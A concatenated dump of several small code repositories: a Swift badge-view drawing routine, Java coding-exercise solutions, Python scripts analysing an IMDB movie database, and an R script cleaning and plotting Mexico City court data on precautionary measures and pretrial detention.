CGContextSetLineWidth(ctx, self.badgeStrokeWidth)
CGContextSetStrokeColorWithColor(ctx, self.badgeStrokeColor.CGColor)
CGContextDrawPath(ctx, .Stroke)
CGContextRestoreGState(ctx)
/* Text */
CGContextSaveGState(ctx)
CGContextSetShadowWithColor(ctx, self.badgeTextShadowOffset, 3.0, self.badgeTextShadowColor.CGColor)
var textFrame = rectToDraw
let textSize = self.sizeOfTextForCurrentSettings()
textFrame.size.height = textSize.height
textFrame.origin.y = rectToDraw.origin.y + (rectToDraw.height - textFrame.height) / 2.0
let drawText: NSString = self.badgeText
let textStyle = NSMutableParagraphStyle.defaultParagraphStyle().mutableCopy() as! NSMutableParagraphStyle
textStyle.alignment = NSTextAlignment.Center
drawText.drawInRect(textFrame, withAttributes: [NSFontAttributeName: self.badgeTextFont,
NSParagraphStyleAttributeName: textStyle,
NSForegroundColorAttributeName: self.badgeTextColor])
CGContextRestoreGState(ctx)
}
}
}
| eccc3b183c80a75af2bf00ee72b52f006bef2687 | [
"Markdown",
"Swift"
] | 3 | Markdown | Mark-SS/ABBadgeView | 8de73f1ae43fa35b892a285c78714055658d57b7 | ddd8d6ea5e7cda16d15239421f229e7015f7fb28 |
refs/heads/master | <file_sep>"""
temperature_cpp
Example of binding C++/Python via setuptools
"""
# Add imports here
from .temperature_cpp import *
# Handle versioneer
from ._version import get_versions
versions = get_versions()
__version__ = versions['version']
__git_revision__ = versions['full-revisionid']
del get_versions, versions
| 67148125ac75d24713b09962107e002a57f90189 | [
"Python"
] | 1 | Python | arpitban/temperature_cpp | dfc56f5039df983a72df24b35c2f5e00e905dd9c | 41913dd6578886c246198f513aaba17a288b0409 |
refs/heads/master | <file_sep>package main.java.com.techolution;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
public class TwoCircles {
private static String[] circles(String[] circleInfos) {
String[] circleLabels = new String[circleInfos.length];
for (int i = 0; i < circleInfos.length; i++) {
circleLabels[i] = labelCircles(circleInfos[i]);
}
return circleLabels;
}
private static String labelCircles(String circleInfo) {
String[] coordinates = circleInfo.split(" ");
int x1 = Integer.valueOf(coordinates[0]);
int y1 = Integer.valueOf(coordinates[1]);
int r1 = Integer.valueOf(coordinates[2]);
int x2 = Integer.valueOf(coordinates[3]);
int y2 = Integer.valueOf(coordinates[4]);
int r2 = Integer.valueOf(coordinates[5]);
int squareOfDistance = squareOfDistance(x1, y1, x2, y2);
int squareOfRadiusSum = square(r1+r2);
if (x1 == x2 && y1 == y2) {
return "Concentric";
}
if (squareOfDistance == squareOfRadiusSum || squareOfDistance == square(Math.abs(r1-r2))) {
return "Touching";
}
if (squareOfDistance < squareOfRadiusSum) {
return "Intersecting";
}
if (squareOfDistance > squareOfRadiusSum) {
return "Disjoint-Outside";
}
if (squareOfDistance < square(Math.abs(r1-r2))) {
return "Disjoint-Inside";
}
return "NoLabel";
}
private static int square(int i) {
return i * i;
}
private static int squareOfDistance(int x1, int y1, int x2, int y2) {
return (x1-x2)*(x1-x2) + (y1-y2)*(y1-y2);
}
public static void main(String[] args) throws IOException {
BufferedReader br = new BufferedReader(new InputStreamReader(System.in));
int numberOfTests = Integer.parseInt(br.readLine());
String[] circleInfo = new String[numberOfTests];
for (int i = 0; i < numberOfTests; i++) {
circleInfo[i] = br.readLine();
}
print(circles(circleInfo));
}
private static void print(String[] arr) {
for (int i = 0; i < arr.length; i++) {
System.out.println(arr[i]);
}
}
}
<file_sep>package main.java.com.techolution;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
public class BalancedParanthesisWithMaxReplacement {
private static int[] balancedOrNot(String[] expressions, int[] maxReplacements) {
int[] balanced = new int[expressions.length];
for (int i = 0; i < expressions.length; i++) {
balanced[i] = isBalanced(expressions[i], maxReplacements[i]);
}
return balanced;
}
private static int isBalanced(String expression, int maxReplacement) {
Stack<Character> stack = new Stack<>();
for (int i = 0 ; i < expression.length(); i++) {
if (expression.charAt(i) == '<')
stack.push(expression.charAt(i));
if (expression.charAt(i) == '>') {
if (!stack.isEmpty() && stack.top() == '<')
stack.pop();
else
stack.push(expression.charAt(i));
}
}
if (stack.isEmpty())
return 1;
while (!stack.isEmpty()) {
int count = 0;
Character c = stack.pop();
if (c == '<') {
count++;
if (count > maxReplacement)
return 0;
}
}
return 0;
}
public static void main(String[] args) throws IOException {
BufferedReader br = new BufferedReader(new InputStreamReader(System.in));
int numberOfLines = Integer.parseInt(br.readLine());
String[] expressions = new String[numberOfLines];
int[] maxReplacements = new int[numberOfLines];
for (int i = 0; i < numberOfLines; i++) {
expressions[i] = br.readLine();
}
for (int i = 0; i < numberOfLines; i++) {
maxReplacements[i] = Integer.valueOf(br.readLine());
}
print(balancedOrNot(expressions, maxReplacements));
br.close();
}
private static void print(int[] arr) {
for (int i = 0; i < arr.length; i++) {
System.out.print(arr[i] + " ");
}
System.out.println();
}
}
<file_sep>package main.java.com.techolution;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.util.Arrays;
public class PsychometricTesting {
private static int[] jobOffers(int[] scores, int[] lowerLimits, int[] upperLimits) {
Arrays.sort(scores);
int[] countOfElementsInRange = new int[lowerLimits.length];
for (int i = 0; i < lowerLimits.length; i++) {
int lowerIndex = binarySearchForLowerIndex(scores, lowerLimits[i]);
int upperIndex = binarySearchForUpperIndex(scores, upperLimits[i]);
if (lowerIndex == -1 || upperIndex == -1)
countOfElementsInRange[i] = 0;
countOfElementsInRange[i] = upperIndex - lowerIndex;
if (isElementAtIndexSameAsLimit(scores[upperIndex], upperLimits[i]))
countOfElementsInRange[i]++;
if (isElementAtIndexSameAsLimit(scores[lowerIndex], lowerLimits[i]))
countOfElementsInRange[i]++;
}
return countOfElementsInRange;
}
private static boolean isElementAtIndexSameAsLimit(int score, int upperLimit) {
return score == upperLimit;
}
private static int binarySearchForUpperIndex(int[] scores, int upperLimit) {
if (upperLimit < scores[0])
return -1;
int low = 0;
int high = scores.length - 1;
while (low != high) {
int mid = (low + high)/2;
if (scores[mid] <= upperLimit) {
low = mid + 1;
} else {
high = mid;
}
}
return low;
}
private static int binarySearchForLowerIndex(int[] scores, int lowerLimit) {
if (lowerLimit > scores[scores.length - 1])
return -1;
int low = 0;
int high = scores.length - 1;
while (low != high) {
int mid = (low + high)/2;
if (scores[mid] <= lowerLimit) {
low = mid + 1;
} else {
high = mid;
}
}
return low;
}
public static void main(String[] args) throws IOException {
BufferedReader br = new BufferedReader(new InputStreamReader(System.in));
int numberOfScores = Integer.parseInt(br.readLine());
int[] scores = new int[numberOfScores];
for (int i = 0; i < numberOfScores; i++) {
scores[i] = Integer.valueOf(br.readLine());
}
int q = Integer.parseInt(br.readLine());
int[] lowerLimits = new int[q];
for (int i = 0; i < q; i++) {
lowerLimits[i] = Integer.parseInt(br.readLine());
}
q = Integer.parseInt(br.readLine());
int[] upperLimits = new int[q];
for (int i = 0; i < q; i++) {
upperLimits[i] = Integer.parseInt(br.readLine());
}
print(jobOffers(scores, lowerLimits, upperLimits));
}
private static void print(int[] arr) {
for (int i = 0; i < arr.length; i++) {
System.out.print(arr[i] + " ");
}
System.out.println();
}
}
<file_sep>package main.java.com.techolution;
import java.io.*;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
public class LargeResponseProblem {
private static final String NEWLINE = "\n";
public static void main(String[] args) throws IOException {
BufferedReader br = new BufferedReader(new InputStreamReader(System.in));
String fileName = br.readLine();
generateBytesFile(fileName + ".txt");
br.close();
}
private static void generateBytesFile(String fileName) throws IOException {
InputStream is = null;
BufferedReader br = null;
try {
is = LargeResponseProblem.class.getResourceAsStream(fileName);
br = new BufferedReader(new InputStreamReader(is));
String line = null;
Pattern pattern = Pattern.compile("([^\"]\\S*|\".+?\")\\s*");
int largeRecordCount = 0;
int largeRecordBytesSize = 0;
while ((line = br.readLine()) != null) {
Matcher m = pattern.matcher(line);
String bytesSize = null;
while (m.find()) {
bytesSize = m.group(1);
}
int logRecordBytes = Integer.parseInt(bytesSize);
if (logRecordBytes > 5000) {
largeRecordCount++;
largeRecordBytesSize += logRecordBytes;
}
}
StringBuffer fileContent = new StringBuffer();
fileContent.append(largeRecordCount).append(NEWLINE).append(largeRecordBytesSize);
writeOutputFile("bytes_" + fileName, fileContent.toString());
} finally {
if (is != null)
is.close();
if (br != null)
br.close();
}
}
private static void writeOutputFile(String fileName, String content) throws IOException {
BufferedWriter bw = null;
try {
bw = new BufferedWriter(new FileWriter(fileName));
bw.write(content);
} finally {
bw.close();
}
}
}
| 567c71d39837be7d4501eac57378191d9fa01f55 | [
"Java"
] | 4 | Java | saipraveen-a/MaxSatisfactionProblem | f8addf9f3b256358d540939a372d8dce2c298a0e | f02065b288e86443d2937442bdf7f95c1e78c7d1 |
refs/heads/master | <repo_name>karan1dhir/CU-Bootcamp-1<file_sep>/Script-1.py
#Find the highest-grossing movie (i.e domestic earning + worldwide earning) in IMDB database year wise.
import sqlite3
import pandas as pd
from matplotlib import pyplot as plt
db = sqlite3.connect('IMDB.sqlite')
heighest_movie_arr = []
dataFrame_earning = pd.read_sql_query('Select * from earning',db)
dataFrame_movies = pd.read_sql_query('Select * from IMDB',db)
all_movies_titles = dataFrame_movies['Title']
new_dataFrame_earning = dataFrame_earning['Domestic'] + dataFrame_earning['Worldwide']
dataFrame_movies['grossing'] = new_dataFrame_earning
def findYear(title):
return int(title.split('(')[-1][:-1])
dataFrame_movies['Years'] = dataFrame_movies['Title'].apply(findYear)
unique_years = sorted(dataFrame_movies['Years'].unique())
for index in range(len(unique_years)):
earning = max(dataFrame_movies[dataFrame_movies['Years'] == unique_years[index]]['grossing'])
heighest_movie_arr.append(dataFrame_movies[dataFrame_movies['grossing'] == earning]['Title'].values[0]);
#print(unique_years[index],dataFrame_movies[dataFrame_movies['grossing'] == earning]['Title'].values[0])
print(dataFrame_movies.describe())
plt.bar(unique_years,heighest_movie_arr,width=0.6)
plt.show()
<file_sep>/Script-2.py
#Find out the percentage of the budget for each genre in IMDB Movie Dataset?Plot the pie chart.
import sqlite3
import pandas as pd
import numpy as np
from matplotlib import pyplot as plt
db = sqlite3.connect('IMDB.sqlite')
dataFrame_movies = pd.read_sql_query('Select * from IMDB',db)
dataFrame_genre = pd.read_sql_query('Select * from genre',db)
all_unique_movies = dataFrame_movies['Movie_id'].value_counts().index
genre_array = []
for i in range(len(all_unique_movies)):
single_genre = []
single = dataFrame_genre[dataFrame_genre['Movie_id'] == all_unique_movies[i]]['genre'].values
single_genre.append(all_unique_movies[i])
for i in single:
single_genre.append(i)
genre_array.append(single_genre)
new_genre = pd.DataFrame(genre_array,columns=['Movie_id','genre1','genre2','genre3'])
result = pd.merge(dataFrame_movies,new_genre,on='Movie_id')
result['Budget'].replace('',0,inplace=True)
genre_1_name = result.groupby('genre1')['Budget'].sum().index
genre_1_amount = result.groupby('genre1')['Budget'].sum().values
genre_2_name = result.groupby('genre2')['Budget'].sum().index
genre_2_amount = result.groupby('genre2')['Budget'].sum().values
genre_3_name = result.groupby('genre3')['Budget'].sum().index
genre_3_amount = result.groupby('genre3')['Budget'].sum().values
genre_name = {}
for index in range(len(genre_1_name)):
genre_name[genre_1_name[index]] = genre_1_amount[index]
for index in range(len(genre_2_name)):
if genre_2_name[index] in genre_name:
genre_name[genre_2_name[index]] = genre_name.get(genre_2_name[index]) + genre_2_amount[index]
else:
genre_name[genre_2_name[index]] = genre_2_amount[index]
for index in range(len(genre_3_name)):
if genre_3_name[index] in genre_name:
genre_name[genre_3_name[index]] = genre_name.get(genre_3_name[index]) + genre_3_amount[index]
else:
genre_name[genre_3_name[index]] = genre_3_amount[index]
del genre_name['']
np_genre_names = np.array(list(genre_name.keys()))
np_genre_amount = np.array(list(genre_name.values()))
perAmount = np.true_divide(np_genre_amount,np_genre_amount.sum()) * 100
# for index in range(len(np_genre_names)):
# print(np_genre_names[index],format(perAmount[index],'.2f'))
plt.pie(perAmount, labels = np_genre_names,autopct="%.2f%%");
plt.title("Percentage of the budget for each genre.")
plt.axis("equal")
plt.show() | 338d520669c583b0a01e5f373ddfd7e0eb9ca73b | [
"Python"
] | 2 | Python | karan1dhir/CU-Bootcamp-1 | 35e28b426f5a1146ad88e17f917ee97b56b80dee | 79f4c086db954044b86ec6635861cce60987f566 |
refs/heads/main | <repo_name>RMedina19/Intersecta-PJCDMX<file_sep>/análisis/03_visualización_EV.R
########## Medidas cautelares TSJ CDMX
rm(list=ls())
# setwd("~")
dir <- paste0(here::here(), "/GitHub/Intersecta-PJCDMX")
inp <- "datos_crudos/"
out <- "datos_limpios/"
setwd(dir)
require(pacman)
p_load(scales, tidyverse, stringi, dplyr, plyr, foreign, readxl, janitor,extrafont,
beepr, extrafont, treemapify, ggmosaic, srvyr, ggrepel, lubridate, cowplot)
# ------------ Directorios ---------------- #
# inp <- "/Users/samnbk/Dropbox/SaM/By Date/marzo 2018/R_Genero/TSJDF/inp"
# out <- "/Users/samnbk/Dropbox/SaM/By Date/marzo 2018/R_Genero/TSJDF/out"
############## Tema para exportar en .png
tema <- theme_linedraw() +
theme(text = element_text(family = "Helvetica", color = "grey35"),
plot.title = element_text(size = 20, face = "bold", margin = margin(10,4,5,4), family="Helvetica", color = "black"),
plot.subtitle = element_text(size = 18, color = "#666666", margin = margin(5, 5, 5, 5), family="Helvetica"),
plot.caption = element_text(hjust = 1, size = 14, family = "Helvetica"),
panel.grid = element_line(linetype = 2),
legend.position = "none",
panel.grid.minor = element_blank(),
legend.title = element_text(size = 16, family="Helvetica"),
legend.text = element_text(size = 16, family="Helvetica"),
legend.title.align = 1,
axis.title = element_text(size = 16, hjust = .5, margin = margin(1,1,1,1), family="Helvetica"),
axis.text = element_text(size = 16, face = "bold", family="Helvetica", angle=0, hjust=.5),
strip.background = element_rect(fill="#525252"),
strip.text.x = element_text(size=16, family = "Helvetica"),
strip.text.y = element_text(size=16, family = "Helvetica"))
fill_base <- c("#F178B1","#998FC7", "#FF8C00", "#663399", "#C2F970", "#00979C", "#B1EDE8", "#FE5F55")
fill_autoridades <- c("#F178B1","#998FC7", "#FF8C00", "#663399", "#C2F970", "#00979C", "#B1EDE8", "#FE5F55", "#C52233")
fill_dos <- c("#F178B1","#998FC7")
############# base
sentenciados = read.csv(paste(inp, "cautelares.csv", sep="/"))
sentenciados <- read.csv("datos_crudos/cautelares.csv")
sentenciados$tot = 1
View(sentenciados)
sentenciados = filter(sentenciados, year_audiencia != "2015")
sentenciados$homicidio_1 <- as.numeric(str_detect(sentenciados$delito, "Homicidio"))
sentenciados$homicidio_2 <- as.numeric(str_detect(sentenciados$delito, "Feminicidio"))
sentenciados$homicidio <- rowSums(sentenciados[c("homicidio_1", "homicidio_2")], na.rm = T)
sentenciados$homicidio_2 <- sentenciados$homicidio_1 <- NULL
sentenciados$salud <- as.numeric(str_detect(sentenciados$delito, "salud"))
sentenciados$robo <- as.numeric(str_detect(sentenciados$delito, "Robo"))
sentenciados$familiar <- as.numeric(str_detect(sentenciados$delito, "Violencia familiar"))
sentenciados$lesiones <- as.numeric(str_detect(sentenciados$delito, "Lesiones"))
sentenciados$encubrimiento <- as.numeric(str_detect(sentenciados$delito, "Encubrimiento"))
sentenciados$extorsion <- as.numeric(str_detect(sentenciados$delito, "Extorsion"))
sentenciados$objetos <- as.numeric(str_detect(sentenciados$delito, "Portacion de objetos"))
sentenciados$secuestro_1 <- as.numeric(str_detect(sentenciados$delito, "Secuestro"))
sentenciados$secuestro_2 <- as.numeric(str_detect(sentenciados$delito, "Privación de la libertad"))
sentenciados$secuestro <- rowSums(sentenciados[c("secuestro_1", "secuestro_2")], na.rm = T)
sentenciados$secuestro_2 <- sentenciados$secuestro_1 <- NULL
sentenciados$sexuales_1 <- as.numeric(str_detect(sentenciados$delito, "Abuso sexual"))
sentenciados$sexuales_2 <- as.numeric(str_detect(sentenciados$delito, "Violacion"))
sentenciados$sexuales_3 <- as.numeric(str_detect(sentenciados$delito, "Hostigamiento"))
sentenciados$sexuales <- rowSums(sentenciados[c("sexuales_1", "sexuales_2", "sexuales_3")], na.rm = T)
sentenciados$sexuales_3 <- sentenciados$sexuales_2 <- sentenciados$sexuales_1 <- NULL
sentenciados = mutate(sentenciados, otros = ifelse(homicidio != 1 & salud != 1 & robo != 1 & familiar != 1 & lesiones != 1 & encubrimiento != 1 &
extorsion != 1 & objetos != 1 & secuestro != 1 & sexuales !=1, 1, 0))
# Línea añadida por Regina
sentenciados <- rename(sentenciados, numero = "ï..numero")
View(sentenciados)
autofinal = select(sentenciados, numero, homicidio, salud, robo, familiar, lesiones, encubrimiento, extorsion, objetos, secuestro, sexuales, otros)
View(autofinal)
autofinal = ddply(autofinal,"numero",numcolwise(sum))
autoridad = select(autofinal, numero, homicidio, salud, robo, familiar, lesiones, encubrimiento, extorsion, objetos, secuestro, sexuales, otros)
autoridad$homicidio = gsub("1", "Homicidio", autoridad$homicidio)
autoridad$salud = gsub("1", "Delitos contra la salud", autoridad$salud)
autoridad$robo = gsub("1", "Robo", autoridad$robo)
autoridad$familiar = gsub("1", "Violencia familiar", autoridad$familiar)
autoridad$lesiones = gsub("1", "Lesiones", autoridad$lesiones)
autoridad$encubrimiento = gsub("1", "Encubrimiento", autoridad$encubrimiento)
autoridad$extorsion = gsub("1", "Extorsión", autoridad$extorsion)
autoridad$objetos = gsub("1", "Portación de objetos aptos para agredir", autoridad$objetos)
autoridad$secuestro = gsub("1", "Secuestro", autoridad$secuestro)
autoridad$sexuales = gsub("1", "Delitos sexuales", autoridad$sexuales)
autoridad$otros = gsub("1", "O<NAME>", autoridad$otros)
autoridad <- autoridad %>%
mutate(delitos_cortos = paste(homicidio, salud, robo, familiar, lesiones, encubrimiento, extorsion, objetos, secuestro, sexuales, otros))%>%
mutate(delitos_cortos = str_remove_all(delitos_cortos, "0 "))%>%
mutate(delitos_cortos = str_remove_all(delitos_cortos, " 0"))
autoridades = select(autoridad, numero, delitos_cortos)
sentenciados = full_join(sentenciados, autoridades, by=c("numero"))
sentenciados$sexo = gsub("Femenino", "Mujeres", sentenciados$sexo)
sentenciados$sexo = gsub("Masculino", "Hombres", sentenciados$sexo)
sentenciados$delitos_cortos = gsub("Portación de objetos aptos para agredir", "Portación de objetos \n aptos para agredir", sentenciados$delitos_cortos)
table(sentenciados$medida)
sentenciados$medida = gsub("El embargo de bienes;", "Embargo", sentenciados$medida)
sentenciados$medida = gsub("El resguardo en su propio domicilio con las modalidades que el juez disponga", "Resguardo en domicilio", sentenciados$medida)
sentenciados$medida = gsub("El sometimiento al cuidado o vigilancia de una persona o institución determinada o internamiento a institución determinada;", "Vigilancia o internamiento", sentenciados$medida)
sentenciados$medida = gsub("La colocación de localizadores electrónicos", "Localizadores electrónicos", sentenciados$medida)
sentenciados$medida = gsub("La exhibición de una garantía económica;", "Garantía económica", sentenciados$medida)
sentenciados$medida = gsub("La inmovilización de cuentas y demás valores que se encuentren dentro del sistema financiero;", "Inmovilización de cuentas", sentenciados$medida)
sentenciados$medida = gsub("La presentación periódica ante el juez o ante autoridad distinta que aquél designe;", "Presentación periódica", sentenciados$medida)
sentenciados$medida = gsub("La prohibición de concurrir a determinadas reuniones o acercarse o ciertos lugares;", "Prohibición de ir a lugares", sentenciados$medida)
sentenciados$medida = gsub("La prohibición de convivir, acercarse o comunicarse con determinadas personas, con las víctimas u ofendidos o testigos, siempre que no se afecte el derecho de defensa", "Prohibición de comunicarse con personas", sentenciados$medida)
sentenciados$medida = gsub("La prohibición de salir sin autorización del país, de la localidad en la cual reside o del ámbito territorial que fije el juez;", "Prohibición de salir de un lugar", sentenciados$medida)
sentenciados$medida = gsub("La separación inmediata del domicilio;", "Separación del domicilio", sentenciados$medida)
sentenciados$medida = gsub("La suspensión temporal en el ejercicio de una determinada actividad profesional o laboral", "Suspensión laboral", sentenciados$medida)
sentenciados$medida = gsub("La suspensión temporal en el ejercicio del cargo cuando se le atribuye un delito cometido por servidores públicos", "Suspensión laboral", sentenciados$medida)
sentenciados$medida = gsub("Prisión Preventiva", "Prisión preventiva", sentenciados$medida)
View(sentenciados)
########################
########################
porano <- sentenciados %>%
group_by(medida, delitos_cortos, comision) %>%
mutate(tot = 1) %>%
summarize(total = sum(tot, na.rm = T)) %>%
ungroup() %>%
group_by(comision, delitos_cortos) %>%
mutate(denomin = sum(total, na.rm = T),
porcent = round(total / denomin * 100, 1))%>%
filter(medida == "Prisión preventiva")
View(porano)
ggplot(porano, aes(x = comision, y=porcent, fill=medida)) +
geom_bar(stat="identity", position="stack") +
scale_fill_manual(values=c("#F178B1","#998FC7"))+
guides(fill = guide_legend(reverse=TRUE))+
geom_text(aes(label=paste0(porcent,"%")),
position = position_stack(vjust = 0.5), size=4, color="black", family = "Helvetica")+
labs(title="Proporción que representa la prisión preventiva del total de medidas cautelares",
caption="\n Fuente: Respuesta del TSJCDMX a solicitud de acceso a la información pública. ", x="", y="",
subtitle = "Por delito y forma de comisión \n", fill="") +
tema +
facet_wrap(~delitos_cortos) +
coord_flip(ylim=c(0,100))+
theme(legend.position = "top")
ggsave(paste(out, "delitos medidas culposos.png", sep = "/"), width = 18, height = 16)
########################
porano <- sentenciados %>%
group_by(delitos_cortos, comision) %>%
mutate(tot = 1) %>%
summarize(total = sum(tot, na.rm = T)) %>%
ungroup() %>%
group_by(delitos_cortos) %>%
mutate(denomin = sum(total, na.rm = T),
porcent = round(total / denomin * 100, 1))
View(porano)
ggplot(porano, aes(x = delitos_cortos, y=porcent, fill=comision)) +
geom_bar(stat="identity", position="stack") +
scale_fill_manual(values=c("#F178B1","#998FC7"))+
guides(fill = guide_legend(reverse=TRUE))+
geom_text(aes(label=paste0(porcent,"%")),
position = position_stack(vjust = 0.5), size=4, color="black", family = "Helvetica")+
labs(title="Delitos por forma de comisión",
caption="\n Fuente: Respuesta del TSJCDMX a solicitud de acceso a la información pública. ", x="", y="",
subtitle = "Por delito y forma de comisión \n", fill="") +
tema +
coord_flip(ylim=c(0,100))+
theme(legend.position = "top")
ggsave(paste(out, "delitos forma comisión.png", sep = "/"), width = 18, height = 16)
########################
porano <- sentenciados %>%
group_by(year_audiencia, delitos_cortos) %>%
mutate(tot = 1) %>%
summarize(total = sum(tot, na.rm = T)) %>%
ungroup() %>%
group_by(year_audiencia) %>%
mutate(denomin = sum(total, na.rm = T),
porcent = round(total / denomin * 100, 1))
View(porano)
ggplot(porano) +
geom_area(aes(x = as.integer(year_audiencia), y = porcent, fill=delitos_cortos), size=2.5) +
labs(title = "Delitos de las personas sentenciadas en la CDMX", subtitle = "Por año \n", y = "\n Porcentaje \n", x="",
caption = "\n Fuente: Respuesta del TSJCDMX a solicitud de acceso a la información pública. \n",
fill ="Delitos:") +
scale_fill_manual(values = c("#EDF7FC","#F6CCEE", "#04C0E4", "#016FB9", "#3AB79C","#A3FEFC", "#FF82A9", "#e63946", "#457b9d", "#2a9d8f", "#e5989b")) +
scale_x_continuous(breaks=seq(from=2011, to=2020, by=1)) +
scale_y_continuous(breaks=seq(from=0, to=100, by=10)) +
tema +
theme(axis.text.x = element_text(angle = 0, hjust = .5, vjust = .5)) +
coord_cartesian(ylim = c(0, 100))+
theme(legend.position = "top")
ggsave(paste(out, "1 sentenciados.png", sep = "/"), width = 20, height = 16)
########################
porano <- sentenciados %>%
group_by(delitos_cortos, year_audiencia, medida) %>%
mutate(tot = 1) %>%
summarize(total = sum(tot, na.rm = T)) %>%
ungroup() %>%
group_by(delitos_cortos, year_audiencia) %>%
mutate(denomin = sum(total, na.rm = T),
porcent = round(total / denomin * 100, 1))
ggplot(porano) +
geom_area(aes(x = as.integer(year_audiencia), y = porcent, fill=medida), size=2.5) +
labs(title = "Delitos de las personas sentenciadas en la CDMX", subtitle = "Por año \n", y = "\n Porcentaje \n", x="",
caption = "\n Fuente: Respuesta del TSJCDMX a solicitud de acceso a la información pública. \n",
fill ="Delitos:") +
scale_fill_manual(values = c("#EDF7FC","#F6CCEE", "#04C0E4", "#016FB9", "#3AB79C","#A3FEFC", "#FF82A9", "#e63946", "#457b9d", "#2a9d8f", "#e5989b",
"#9b5de5", "#0466c8", "#ffee32")) +
scale_x_continuous(breaks=seq(from=2011, to=2020, by=1)) +
scale_y_continuous(breaks=seq(from=0, to=100, by=10)) +
tema +
facet_wrap(~delitos_cortos) +
theme(axis.text.x = element_text(angle = 90, hjust = .5, vjust = .5)) +
coord_cartesian(ylim = c(0, 100))+
theme(legend.position = "right",
legend.key.size = unit(.5, "cm"),
legend.key.width = unit(.5,"cm"))
ggsave(paste(out, "1 DELITOS X MEDIDAS.png", sep = "/"), width = 20, height = 16)
######################## delitos por medida
porano <- sentenciados %>%
group_by(delitos_cortos, year_audiencia, medida) %>%
mutate(tot = 1) %>%
summarize(total = sum(tot, na.rm = T)) %>%
ungroup() %>%
group_by(medida, year_audiencia) %>%
mutate(denomin = sum(total, na.rm = T),
porcent = round(total / denomin * 100, 1))
ggplot(porano) +
geom_area(aes(x = as.integer(year_audiencia), y = porcent, fill=delitos_cortos), size=2.5) +
labs(title = "Delitos que se dictaron por medida en la CDMX", subtitle = "Por año \n", y = "\n Porcentaje \n", x="",
caption = "\n Fuente: Respuesta del TSJCDMX a solicitud de acceso a la información pública. \n",
fill ="Delitos:") +
scale_fill_manual(values = c("#EDF7FC","#F6CCEE", "#04C0E4", "#016FB9", "#3AB79C","#A3FEFC", "#FF82A9", "#e63946", "#457b9d", "#2a9d8f", "#e5989b",
"#9b5de5", "#0466c8", "#ffee32")) +
scale_x_continuous(breaks=seq(from=2011, to=2020, by=1)) +
scale_y_continuous(breaks=seq(from=0, to=100, by=10)) +
tema +
facet_wrap(~medida) +
theme(axis.text.x = element_text(angle = 90, hjust = .5, vjust = .5)) +
coord_cartesian(ylim = c(0, 100))+
theme(legend.position = "right",
legend.key.size = unit(.5, "cm"),
legend.key.width = unit(.5,"cm"))
ggsave(paste(out, "1 MEDIDAS X DELITOS.png", sep = "/"), width = 20, height = 16)
######################## delitos por medida
porano <- sentenciados %>%
group_by(sexo, year_audiencia, medida) %>%
mutate(tot = 1) %>%
filter(sexo != "No especificado")%>%
summarize(total = sum(tot, na.rm = T)) %>%
ungroup() %>%
group_by(sexo, year_audiencia) %>%
mutate(denomin = sum(total, na.rm = T),
porcent = round(total / denomin * 100, 1))
ggplot(porano) +
geom_area(aes(x = as.integer(year_audiencia), y = porcent, fill=medida), size=2.5) +
labs(title = "Medidas cautelares dictadas en la CDMX", subtitle = "Por año, por sexo \n", y = "\n Porcentaje \n", x="",
caption = "\n Fuente: Respuesta del TSJCDMX a solicitud de acceso a la información pública. \n",
fill ="Delitos:") +
scale_fill_manual(values = c("#EDF7FC","#F6CCEE", "#04C0E4", "#016FB9", "#3AB79C","#A3FEFC", "#FF82A9", "#e63946", "#457b9d", "#2a9d8f", "#e5989b",
"#9b5de5", "#0466c8", "#ffee32")) +
scale_x_continuous(breaks=seq(from=2011, to=2020, by=1)) +
scale_y_continuous(breaks=seq(from=0, to=100, by=10)) +
tema +
facet_wrap(~sexo) +
theme(axis.text.x = element_text(angle = 90, hjust = .5, vjust = .5)) +
coord_cartesian(ylim = c(0, 100))+
theme(legend.position = "right",
legend.key.size = unit(.5, "cm"),
legend.key.width = unit(.5,"cm"))
ggsave(paste(out, "1 MEDIDAS X sexo.png", sep = "/"), width = 20, height = 16)
######################## delitos por medida
porano <- sentenciados %>%
group_by(delitos_cortos, year_audiencia, medida) %>%
mutate(tot = 1) %>%
summarize(total = sum(tot, na.rm = T)) %>%
ungroup() %>%
group_by(medida, year_audiencia) %>%
mutate(denomin = sum(total, na.rm = T),
porcent = round(total / denomin * 100, 1))
porano = filter(porano, medida == "Prisión preventiva")
ggplot(porano) +
geom_area(aes(x = as.integer(year_audiencia), y = porcent, fill=delitos_cortos), size=2.5) +
labs(title = "Delitos que tuvieron prisión preventiva en la CDMX", subtitle = "Por año \n", y = "\n Porcentaje \n", x="",
caption = "\n Fuente: Respuesta del TSJCDMX a solicitud de acceso a la información pública. \n",
fill ="Delitos:") +
scale_fill_manual(values = c("#EDF7FC","#F6CCEE", "#04C0E4", "#016FB9", "#3AB79C","#A3FEFC", "#FF82A9", "#e63946", "#457b9d", "#2a9d8f", "#e5989b",
"#9b5de5", "#0466c8", "#ffee32")) +
scale_x_continuous(breaks=seq(from=2011, to=2020, by=1)) +
scale_y_continuous(breaks=seq(from=0, to=100, by=10)) +
tema +
theme(axis.text.x = element_text(angle = 90, hjust = .5, vjust = .5)) +
coord_cartesian(ylim = c(0, 100))+
theme(legend.position = "right",
legend.key.size = unit(.5, "cm"),
legend.key.width = unit(.5,"cm"))
ggsave(paste(out, "1 PP X DELITOS.png", sep = "/"), width = 20, height = 16)
######################## delitos por medida
porano <- sentenciados %>%
group_by(delitos_cortos, year_audiencia, medida, sexo) %>%
mutate(tot = 1) %>%
summarize(total = sum(tot, na.rm = T)) %>%
ungroup() %>%
group_by(medida, year_audiencia, sexo) %>%
mutate(denomin = sum(total, na.rm = T),
porcent = round(total / denomin * 100, 1))
porano = filter(porano, medida == "Prisión preventiva")
porano = filter(porano, sexo != "No especificado")
ggplot(porano) +
geom_area(aes(x = as.integer(year_audiencia), y = porcent, fill=delitos_cortos), size=2.5) +
labs(title = "Delitos que tuvieron prisión preventiva en la CDMX", subtitle = "Por año, por sexo \n", y = "\n Porcentaje \n", x="",
caption = "\n Fuente: Respuesta del TSJCDMX a solicitud de acceso a la información pública. \n",
fill ="Delitos:") +
scale_fill_manual(values = c("#EDF7FC","#F6CCEE", "#04C0E4", "#016FB9", "#3AB79C","#A3FEFC", "#FF82A9", "#e63946", "#457b9d", "#2a9d8f", "#e5989b",
"#9b5de5", "#0466c8", "#ffee32")) +
scale_x_continuous(breaks=seq(from=2011, to=2020, by=1)) +
